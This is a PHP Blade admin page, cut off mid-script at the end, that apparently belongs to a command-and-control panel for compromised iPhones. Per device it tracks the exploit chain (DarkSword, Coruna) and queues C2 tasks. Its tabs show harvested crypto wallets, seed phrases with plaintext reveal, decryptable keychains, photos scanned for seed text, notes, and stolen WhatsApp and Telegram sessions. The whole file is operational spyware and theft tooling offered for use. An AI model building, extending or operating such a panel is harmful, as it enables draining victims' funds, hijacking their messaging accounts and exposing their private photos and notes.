1167 lines
48 KiB
PHP
1167 lines
48 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '设备 '.$device->device_id)
|
||
|
||
@section('content')
|
||
<div class="layui-card">
|
||
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
|
||
<span>设备详情</span>
|
||
@if (($portal ?? 'admin') === 'admin')
|
||
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
|
||
@endif
|
||
</div>
|
||
<div class="layui-card-body">
|
||
<table class="layui-table" style="margin-bottom: 16px;">
|
||
<tr>
|
||
<th width="140">设备 ID</th>
|
||
<td><code>{{ $device->device_id }}</code></td>
|
||
<th width="140">渠道 ID</th>
|
||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||
</tr>
|
||
<tr>
|
||
<th>利用链</th>
|
||
<td colspan="3">
|
||
@if ($device->isDarkSword())
|
||
<span class="tag-chain tag-chain-darksword">DarkSword</span>
|
||
@elseif ($device->isApp())
|
||
<span class="tag-chain tag-chain-app">App</span>
|
||
@else
|
||
<span class="tag-chain tag-chain-coruna">Coruna</span>
|
||
@endif
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<th>设备型号</th>
|
||
<td>{{ $device->device_model ?: '—' }}</td>
|
||
<th>iOS 版本</th>
|
||
<td>{{ $device->ios_version ?: '—' }}</td>
|
||
</tr>
|
||
<tr>
|
||
<th>手机号</th>
|
||
<td>{{ $device->phone ?: '—' }}</td>
|
||
<th>IP</th>
|
||
<td>{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}</td>
|
||
</tr>
|
||
<tr>
|
||
<th>钱包</th>
|
||
<td colspan="3">
|
||
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
|
||
<span style="color:#d97706;font-weight:600;">有</span>
|
||
@foreach ($device->walletNameList() as $name)
|
||
<span class="tag-wallet">{{ $name }}</span>
|
||
@endforeach
|
||
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
|
||
无
|
||
@else
|
||
未知
|
||
@endif
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<th>WS/TG</th>
|
||
<td colspan="3">
|
||
@if ($device->hasWhatsApp() || $device->hasTelegram())
|
||
@if ($device->hasWhatsApp())
|
||
<span class="tag-im tag-im-ws">WS</span>
|
||
@endif
|
||
@if ($device->hasTelegram())
|
||
<span class="tag-im tag-im-tg">TG</span>
|
||
@endif
|
||
@else
|
||
—
|
||
@endif
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<th>相册存储</th>
|
||
<td colspan="3">
|
||
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
||
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
||
lay-filter="LAY-device-album-storage"
|
||
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
|
||
</form>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<th>User-Agent</th>
|
||
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
|
||
</tr>
|
||
<tr>
|
||
<th>安装 / 更新</th>
|
||
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
|
||
</tr>
|
||
</table>
|
||
|
||
@php
|
||
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
|
||
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
|
||
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
|
||
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
|
||
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
|
||
@endphp
|
||
@if ($hasQueue)
|
||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||
C2 队列 (Redis)
|
||
@if (!empty($queueState['pending']))
|
||
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
|
||
@elseif (!empty($queueState['dispatched']))
|
||
· 已下发未回传
|
||
@else
|
||
· 队列已空
|
||
@endif
|
||
@if (($queueState['rounds_remaining'] ?? 0) > 0)
|
||
· 循环 {{ $queueState['round_current'] }}/{{ $queueState['rounds_total'] }}
|
||
@endif
|
||
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
|
||
</div>
|
||
|
||
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
|
||
<div style="margin-bottom: 16px;">
|
||
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
|
||
<i class="layui-icon layui-icon-add-1"></i> 添加任务
|
||
</button>
|
||
</div>
|
||
|
||
@php
|
||
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
|
||
$paramLabelsByType = [];
|
||
foreach ($queueSchema as $type => $fields) {
|
||
foreach ($fields as $f) {
|
||
$paramLabelsByType[$type][$f['name']] = $f['label'];
|
||
}
|
||
}
|
||
@endphp
|
||
<table class="layui-table" style="margin-bottom: 16px;">
|
||
<thead>
|
||
<tr>
|
||
<th width="60">#</th>
|
||
<th width="140">任务</th>
|
||
<th>参数</th>
|
||
<th width="100">状态</th>
|
||
<th width="160">下发时间</th>
|
||
<th width="160">回传时间</th>
|
||
<th>回传</th>
|
||
<th width="80">操作</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
{{-- Pending tasks (removable) --}}
|
||
@php $rowIdx = 0; @endphp
|
||
@foreach ($queueState['pending'] as $task)
|
||
@php $rowIdx++; @endphp
|
||
<tr style="background:#f0fdf4;">
|
||
<td>{{ $rowIdx }}</td>
|
||
<td><code>{{ $task['type'] }}</code></td>
|
||
<td class="wrap">
|
||
@php
|
||
$params = $task['params'] ?? [];
|
||
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
|
||
$parts = [];
|
||
foreach ($params as $pk => $pv) {
|
||
if ($pv === null || $pv === '' || $pv === false) continue;
|
||
$lbl = $typeLabels[$pk] ?? $pk;
|
||
if (is_bool($pv)) $pv = $pv ? '是' : '否';
|
||
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
|
||
}
|
||
@endphp
|
||
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
||
</td>
|
||
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>
|
||
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
|
||
onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
|
||
</td>
|
||
</tr>
|
||
@endforeach
|
||
|
||
{{-- Dispatched tasks (in-flight) --}}
|
||
@foreach ($queueState['dispatched'] as $task)
|
||
@php $rowIdx++; @endphp
|
||
<tr style="background:#fff7ed;">
|
||
<td>{{ $rowIdx }}</td>
|
||
<td><code>{{ $task['type'] }}</code></td>
|
||
<td class="wrap">
|
||
@php
|
||
$params = $task['params'] ?? [];
|
||
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
|
||
$parts = [];
|
||
foreach ($params as $pk => $pv) {
|
||
if ($pv === null || $pv === '' || $pv === false) continue;
|
||
$lbl = $typeLabels[$pk] ?? $pk;
|
||
if (is_bool($pv)) $pv = $pv ? '是' : '否';
|
||
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
|
||
}
|
||
@endphp
|
||
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
||
</td>
|
||
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
|
||
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
</tr>
|
||
@endforeach
|
||
|
||
@if ($rowIdx === 0)
|
||
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
|
||
@endif
|
||
</tbody>
|
||
</table>
|
||
|
||
{{-- Hidden data for JS --}}
|
||
<script>
|
||
var queueParamSchema = @json($queueSchema);
|
||
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
|
||
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
|
||
var csrfToken = @json(csrf_token());
|
||
</script>
|
||
@endif
|
||
|
||
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
||
<ul class="layui-tab-title">
|
||
@php $tabs = [
|
||
'wallets' => '钱包地址',
|
||
'mnemonics' => '助记词',
|
||
'keystores' => '钥匙串',
|
||
'photos' => '相册',
|
||
'apps' => '已装 APP',
|
||
'notes' => '备忘录',
|
||
'events' => '日志',
|
||
'ws-sessions' => 'WS 参数',
|
||
'tg-sessions' => 'TG 参数',
|
||
]; @endphp
|
||
@foreach ($tabs as $key => $label)
|
||
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
|
||
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
|
||
</li>
|
||
@endforeach
|
||
</ul>
|
||
</div>
|
||
|
||
<div class="device-tab-body" style="padding-top: 16px;">
|
||
@if ($tab === 'photos')
|
||
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
|
||
<div class="layui-form-item" style="margin-bottom: 0;">
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label" style="width: auto;">已读</label>
|
||
<div class="layui-input-inline" style="width: 140px;">
|
||
<select name="read">
|
||
<option value="">全部</option>
|
||
<option value="0">未读</option>
|
||
<option value="1">已读</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label" style="width: auto;">敏感词</label>
|
||
<div class="layui-input-inline" style="width: 180px;">
|
||
<select name="sensitive">
|
||
<option value="">全部</option>
|
||
<option value="1">含敏感词 (x-hit>0)</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
|
||
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
|
||
@if(!empty($can_clear_photos))
|
||
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
|
||
@endif
|
||
</div>
|
||
</div>
|
||
</form>
|
||
@if(!empty($show_scan))
|
||
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
|
||
@endif
|
||
<div id="LAY-photo-grid" class="photo-grid"></div>
|
||
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
||
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
||
@elseif ($tab === 'notes')
|
||
@if(!empty($show_scan))
|
||
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
|
||
@endif
|
||
<div id="LAY-note-cards"></div>
|
||
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
|
||
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
|
||
@else
|
||
@if ($tab === 'wallets')
|
||
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
|
||
<div class="layui-form-item" style="margin-bottom: 0;">
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label" style="width: auto;">Source</label>
|
||
<div class="layui-input-inline" style="width: 180px;">
|
||
<select name="source">
|
||
<option value="">全部</option>
|
||
@foreach ($addressSources as $src)
|
||
<option value="{{ $src }}">{{ $src }}</option>
|
||
@endforeach
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label" style="width: auto;">Chain</label>
|
||
<div class="layui-input-inline" style="width: 160px;">
|
||
<select name="chain_type">
|
||
<option value="">全部</option>
|
||
@foreach ($addressChains as $chain)
|
||
<option value="{{ $chain }}">{{ $chain }}</option>
|
||
@endforeach
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
|
||
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
@endif
|
||
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
||
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
||
<script type="text/html" id="LAY-device-session-ops">
|
||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
||
@if ($tab === 'ws-sessions')
|
||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
||
@endif
|
||
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
|
||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
||
@endif
|
||
</script>
|
||
@endif
|
||
@endif
|
||
</div>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
@include('admin.partials.mnemonic_reveal')
|
||
<script>
|
||
layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||
var table = layui.table;
|
||
var form = layui.form;
|
||
var laypage = layui.laypage;
|
||
var layer = layui.layer;
|
||
var $ = layui.$;
|
||
var tab = @json($tab);
|
||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||
@if (($portal ?? 'admin') === 'admin')
|
||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||
@else
|
||
var destroyUrl = '';
|
||
@endif
|
||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||
var token = @json(csrf_token());
|
||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||
token: token,
|
||
google_bound: @json(!empty($google_bound)),
|
||
security_url: @json($google2fa_url ?? '')
|
||
});
|
||
var dash = function (v) { return v ? v : '—'; };
|
||
var esc = function (v) {
|
||
return String(v == null ? '' : v)
|
||
.replace(/&/g, '&')
|
||
.replace(/</g, '<')
|
||
.replace(/>/g, '>')
|
||
.replace(/"/g, '"');
|
||
};
|
||
var yesNo = function (v) {
|
||
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
||
};
|
||
|
||
form.on('switch(LAY-device-album-storage)', function (obj) {
|
||
var on = obj.elem.checked ? 1 : 0;
|
||
$.ajax({
|
||
url: updateUrl,
|
||
method: 'POST',
|
||
data: { album_storage: on, _method: 'PUT', _token: token },
|
||
success: function (res) {
|
||
if (!res || res.code !== 0) {
|
||
obj.elem.checked = !obj.elem.checked;
|
||
form.render('checkbox');
|
||
return layer.msg((res && res.msg) || '保存失败');
|
||
}
|
||
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
|
||
},
|
||
error: function () {
|
||
obj.elem.checked = !obj.elem.checked;
|
||
form.render('checkbox');
|
||
layer.msg('保存失败');
|
||
}
|
||
});
|
||
});
|
||
form.render('checkbox');
|
||
|
||
$('#LAY-device-destroy').on('click', function () {
|
||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
|
||
icon: 3,
|
||
title: '删除设备'
|
||
}, function (index) {
|
||
layer.close(index);
|
||
var loading = layer.load(1, { shade: 0.2 });
|
||
$.ajax({
|
||
url: destroyUrl,
|
||
method: 'POST',
|
||
data: { _method: 'DELETE', _token: token },
|
||
success: function (res) {
|
||
layer.close(loading);
|
||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
|
||
layer.msg('已删除', { time: 800 }, function () {
|
||
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
|
||
try {
|
||
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
|
||
parent.layui.index.closeThisTabs();
|
||
parent.layui.index.openTabsPage(next, '设备管理');
|
||
return;
|
||
}
|
||
} catch (e) {}
|
||
location.href = next;
|
||
});
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loading);
|
||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
|
||
layer.msg(msg);
|
||
}
|
||
});
|
||
});
|
||
});
|
||
|
||
if (tab === 'photos') {
|
||
var photoState = { page: 1, limit: 20, sensitive: '', read: '' };
|
||
|
||
var renderPhotos = function () {
|
||
$.getJSON(tabDataUrl, {
|
||
tab: 'photos',
|
||
page: photoState.page,
|
||
limit: photoState.limit,
|
||
sensitive: photoState.sensitive,
|
||
read: photoState.read
|
||
}, function (res) {
|
||
var $grid = $('#LAY-photo-grid').empty();
|
||
var list = (res && res.data) ? res.data : [];
|
||
@if(!empty($show_scan))
|
||
if (res && res.scan) {
|
||
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||
}
|
||
@endif
|
||
if (!list.length) {
|
||
$('#LAY-photo-empty').show();
|
||
} else {
|
||
$('#LAY-photo-empty').hide();
|
||
list.forEach(function (p) {
|
||
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
|
||
var card = $(
|
||
'<a class="photo-card" href="javascript:;">' +
|
||
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
|
||
@if(!empty($show_scan))
|
||
(p.scan_label ? '<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + p.scan_label + '</span>' : '') +
|
||
@endif
|
||
'<img alt="">' +
|
||
'<div></div>' +
|
||
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
|
||
'</a>'
|
||
);
|
||
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
|
||
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
|
||
card.find('div').eq(1).text(
|
||
'up ' + dash(p.upload_count) +
|
||
' · idx ' + dash(p.process_index) +
|
||
' · text ' + dash(p.text_count) +
|
||
' · qr ' + dash(p.barcode_count)
|
||
);
|
||
card.on('click', function (e) {
|
||
e.preventDefault();
|
||
card.find('.photo-unread-dot').remove();
|
||
p.read = 1;
|
||
layer.open({
|
||
type: 1,
|
||
title: '相册预览',
|
||
area: ['80%', '85%'],
|
||
shadeClose: true,
|
||
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
|
||
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
|
||
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
|
||
esc(p.sha256 || '') + '</div></div>'
|
||
});
|
||
});
|
||
$grid.append(card);
|
||
});
|
||
}
|
||
|
||
laypage.render({
|
||
elem: 'LAY-photo-page',
|
||
count: (res && res.count) ? res.count : 0,
|
||
curr: photoState.page,
|
||
limit: photoState.limit,
|
||
limits: [10, 20, 30, 50],
|
||
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
||
jump: function (obj, first) {
|
||
if (first) return;
|
||
photoState.page = obj.curr;
|
||
photoState.limit = obj.limit;
|
||
renderPhotos();
|
||
}
|
||
});
|
||
});
|
||
};
|
||
|
||
form.on('submit(LAY-photo-search)', function (data) {
|
||
photoState.sensitive = data.field.sensitive || '';
|
||
photoState.read = data.field.read || '';
|
||
photoState.page = 1;
|
||
renderPhotos();
|
||
return false;
|
||
});
|
||
|
||
$('#LAY-photo-reset').on('click', function () {
|
||
setTimeout(function () {
|
||
photoState.sensitive = '';
|
||
photoState.read = '';
|
||
photoState.page = 1;
|
||
renderPhotos();
|
||
}, 0);
|
||
});
|
||
|
||
@if(!empty($can_clear_photos))
|
||
$('#LAY-photo-clear').on('click', function () {
|
||
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
|
||
icon: 3,
|
||
title: '清理相册'
|
||
}, function (index) {
|
||
layer.close(index);
|
||
var loading = layer.load(1, { shade: 0.2 });
|
||
$.ajax({
|
||
url: clearPhotosUrl,
|
||
method: 'POST',
|
||
data: { _token: token },
|
||
success: function (res) {
|
||
layer.close(loading);
|
||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
|
||
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
|
||
layer.msg('已清理 ' + n + ' 条相册记录');
|
||
photoState.page = 1;
|
||
renderPhotos();
|
||
},
|
||
error: function () {
|
||
layer.close(loading);
|
||
layer.msg('清理失败');
|
||
}
|
||
});
|
||
});
|
||
});
|
||
@endif
|
||
|
||
form.render('select');
|
||
renderPhotos();
|
||
return;
|
||
}
|
||
|
||
if (tab === 'notes') {
|
||
var noteState = { page: 1, limit: 20 };
|
||
var renderNotes = function () {
|
||
$.getJSON(tabDataUrl, {
|
||
tab: 'notes',
|
||
page: noteState.page,
|
||
limit: noteState.limit
|
||
}, function (res) {
|
||
var $list = $('#LAY-note-cards').empty();
|
||
var items = (res && res.data) ? res.data : [];
|
||
@if(!empty($show_scan))
|
||
if (res && res.scan) {
|
||
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||
}
|
||
@endif
|
||
if (!items.length) {
|
||
$('#LAY-note-empty').show();
|
||
} else {
|
||
$('#LAY-note-empty').hide();
|
||
items.forEach(function (it) {
|
||
var $card = $('<div class="note-card"></div>');
|
||
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
|
||
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
|
||
$list.append($card);
|
||
});
|
||
}
|
||
laypage.render({
|
||
elem: 'LAY-note-page',
|
||
count: (res && res.count) ? res.count : 0,
|
||
curr: noteState.page,
|
||
limit: noteState.limit,
|
||
limits: [10, 20, 30, 50],
|
||
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
||
jump: function (obj, first) {
|
||
if (first) return;
|
||
noteState.page = obj.curr;
|
||
noteState.limit = obj.limit;
|
||
renderNotes();
|
||
}
|
||
});
|
||
});
|
||
};
|
||
renderNotes();
|
||
return;
|
||
}
|
||
|
||
var colsMap = {
|
||
wallets: [[
|
||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
|
||
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
|
||
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
|
||
{ field: 'usdt', title: 'USDT', width: 90 },
|
||
{ field: 'trx', title: 'TRX', width: 90 },
|
||
{ field: 'eth', title: 'ETH', width: 90 },
|
||
{ field: 'btc', title: 'BTC', width: 100 },
|
||
{ field: 'bnb', title: 'BNB', width: 90 },
|
||
{ field: 'monitor', title: '监听开关', width: 80, templet: function (d) {
|
||
return Number(d.monitor) === 1 ? '开' : '关';
|
||
} },
|
||
{ field: 'monitor_synced', title: '已同步', width: 80, templet: function (d) {
|
||
if (Number(d.monitor) !== 1) { return '—'; }
|
||
return d.monitor_synced ? '是' : '否';
|
||
} },
|
||
{ field: 'monitor_failures', title: '失败', width: 70, templet: function (d) {
|
||
if (Number(d.monitor) !== 1 || d.monitor_synced) { return '—'; }
|
||
return Number(d.monitor_failures) || 0;
|
||
} },
|
||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
|
||
]],
|
||
mnemonics: [[
|
||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
|
||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||
@if(!empty($can_reveal))
|
||
, { title: '操作', width: 110, align: 'center', templet: function (d) {
|
||
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
|
||
} }
|
||
@endif
|
||
]],
|
||
keystores: [[
|
||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||
} },
|
||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||
{ field: 'item_count', title: '条目', width: 70 },
|
||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||
{ title: '操作', width: 240, align: 'center', templet: function (d) {
|
||
var html = '';
|
||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
||
return html || '—';
|
||
} }
|
||
]],
|
||
apps: [[
|
||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
|
||
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
|
||
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
|
||
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
|
||
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
|
||
} }
|
||
]],
|
||
events: [[
|
||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
|
||
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
|
||
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
|
||
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
|
||
} }
|
||
]],
|
||
'ws-sessions': [[
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
|
||
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
|
||
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
||
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
|
||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||
]],
|
||
'tg-sessions': [[
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
||
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
|
||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||
@if(auth('admin')->user()?->isSuper())
|
||
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||
@else
|
||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||
@endif
|
||
]]
|
||
};
|
||
var emptyMap = {
|
||
wallets: '暂无地址',
|
||
mnemonics: '暂无助记词',
|
||
keystores: '暂无钥匙串',
|
||
apps: '暂无应用',
|
||
notes: '暂无备忘录',
|
||
events: '暂无日志',
|
||
'ws-sessions': '暂无 WS 参数',
|
||
'tg-sessions': '暂无 TG 参数'
|
||
};
|
||
|
||
table.render({
|
||
elem: '#LAY-device-tab-list',
|
||
id: 'LAY-device-tab-list',
|
||
url: tabDataUrl,
|
||
where: { tab: tab },
|
||
toolbar: true,
|
||
defaultToolbar: ['filter', 'exports', 'print'],
|
||
cols: colsMap[tab] || colsMap.wallets,
|
||
page: true,
|
||
limit: 20,
|
||
limits: [10, 20, 30, 50],
|
||
text: { none: emptyMap[tab] || '暂无数据' },
|
||
request: { pageName: 'page', limitName: 'limit' },
|
||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||
});
|
||
|
||
if (tab === 'mnemonics') {
|
||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||
